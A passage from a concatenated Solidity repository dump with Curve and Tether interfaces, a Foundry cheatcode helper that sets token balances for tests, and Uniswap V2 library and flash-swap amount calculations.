| interface ICurveYPool { 5 | function underlying_coins(int128 i) external view returns (address); 6 | 7 | function balances(int128 i) external view returns (uint256); 8 | 9 | function exchange_underlying(int128 i, int128 j, uint256 _dx, uint256 _min_dy) external; 10 | } 11 | -------------------------------------------------------------------------------- /src/interfaces/ITetherToken.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | interface ITetherToken { 5 | function name() external returns (string memory); 6 | 7 | function symbol() external returns (string memory); 8 | 9 | function decimals() external returns (uint256); 10 | 11 | function transfer(address _to, uint256 _value) external; 12 | 13 | function transferFrom(address _from, address _to, uint256 _value) external; 14 | 15 | function balanceOf(address who) external returns (uint256); 16 | 17 | function approve(address _spender, uint256 _value) external; 18 | 19 | function allowance(address _owner, address _spender) external returns (uint256); 20 | 21 | function totalSupply() external returns (uint256); 22 | } 23 | -------------------------------------------------------------------------------- /src/utils/Cheatcodes.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Vm.sol"; 5 | 6 | address constant VM_ADDRESS = address(bytes20(uint160(uint256(keccak256("hevm cheat code"))))); 7 | Vm constant vm = Vm(VM_ADDRESS); 8 | 9 | function dealERC20BySlot(address tokenAddress, address targetAddress, uint256 balancesSlotUint, uint256 value) { 10 | bytes32 balancesSlot = bytes32(uint256(balancesSlotUint)); 11 | require(vm.load(tokenAddress, balancesSlot) == bytes32(0), "Invalid Slot"); 12 | bytes32 targetTokenBalanceSlot = keccak256(bytes.concat(bytes32(uint256(uint160(targetAddress))), balancesSlot)); 13 | vm.store(tokenAddress, targetTokenBalanceSlot, bytes32(value)); 14 | } 15 | -------------------------------------------------------------------------------- /src/utils/UniswapV2FlashSwapLibrary.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | library UniswapV2FlashSwapLibrary { 5 | function getAmountInSingle(uint256 amountOut) internal pure returns (uint256 amountIn) { 6 | amountIn = (amountOut * 1000) / 997 + 1; 7 | } 8 | 9 | function getAmountInMulti( 10 | uint256 amountAOut, 11 | uint256 amountBIn, 12 | uint256 amountBOut, 13 | uint256 reserveA, 14 | uint256 reserveB 15 | ) internal pure returns (uint256 amountAIn) { 16 | uint256 amountBInExcludeFee = (amountBIn * 997) / 1000; 17 | amountAIn = ( 18 | (((reserveA * reserveB) / (reserveB - amountBOut + amountBInExcludeFee) + 1) - reserveA + amountAOut) * 1000 19 | ) / 997 + 1; 20 | } 21 | 22 | function getAmountWastedTransfer( 23 | uint256 amountAIn, 24 | uint256 amountAOut, 25 | uint256 amountBIn, 26 | uint256 amountBOut, 27 | uint256 reserveA, 28 | uint256 reserveB 29 | ) internal pure returns (uint256 amountWastedTrasnfer) { 30 | uint256 balanceA = reserveA - amountAOut + amountAIn; 31 | uint256 balanceB = reserveB - amountBOut + amountBIn; 32 | uint256 balanceAAdjusted = balanceA * 1000 - amountAIn * 3; 33 | uint256 balanceBAdjusted = balanceB * 1000 - amountBIn * 3; 34 | return balanceAAdjusted * balanceBAdjusted - reserveA * reserveB * (1000 ** 2); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/utils/UniswapV2Library.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "v2-core/interfaces/IUniswapV2Pair.sol"; 5 | 6 | // Base: https://github.com/Uniswap/v2-periphery/blob/master/contracts/libraries/UniswapV2Library.sol 7 | 8 | library UniswapV2Library { 9 | // returns sorted token addresses, used to handle return values from pairs sorted in this order 10 | function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { 11 | require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES"); 12 | (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); 13 | require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS"); 14 | } 15 | 16 | // calculates the CREATE2 address for a pair without making any external calls 17 | function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { 18 | (address token0, address token1) = sortTokens(tokenA, tokenB); 19 | pair = address( 20 | uint160( 21 | uint256( 22 | keccak256( 23 | abi.encodePacked( 24 | hex"ff", 25 | factory, 26 | keccak256(abi.encodePacked(token0, token1)), 27 | hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash 28 | ) 29 | ) 30 | ) 31 | ) 32 | ); 33 | } 34 | 35 | function getReserves(address factory, address tokenA, address tokenB) 36 | internal 37 | view 38 | returns (uint256 reserveA, uint256 reserveB) 39 | { 40 | (address token0,) = sortTokens(tokenA, tokenB); 41 | (uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); 42 | (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); 43 | } 44 | 45 | // given an output amount of an asset and pair reserves, returns a required input amount of the other asset 46 | function getAmountIn(uint256 amountOut, uint256 reserveIn, uint256 reserveOut) 47 | internal 48 | pure 49 | returns (uint256 amountIn) 50 | { 51 | require(amountOut > 0, "UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT"); 52 | require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); 53 | uint256 numerator = reserveIn * amountOut * 1000; 54 | uint256 denominator = (reserveOut - amountOut) * 997; 55 | amountIn = (numerator / denominator) + 1; 56 | } 57 | } 58 | --------------------------------------------------------------------------------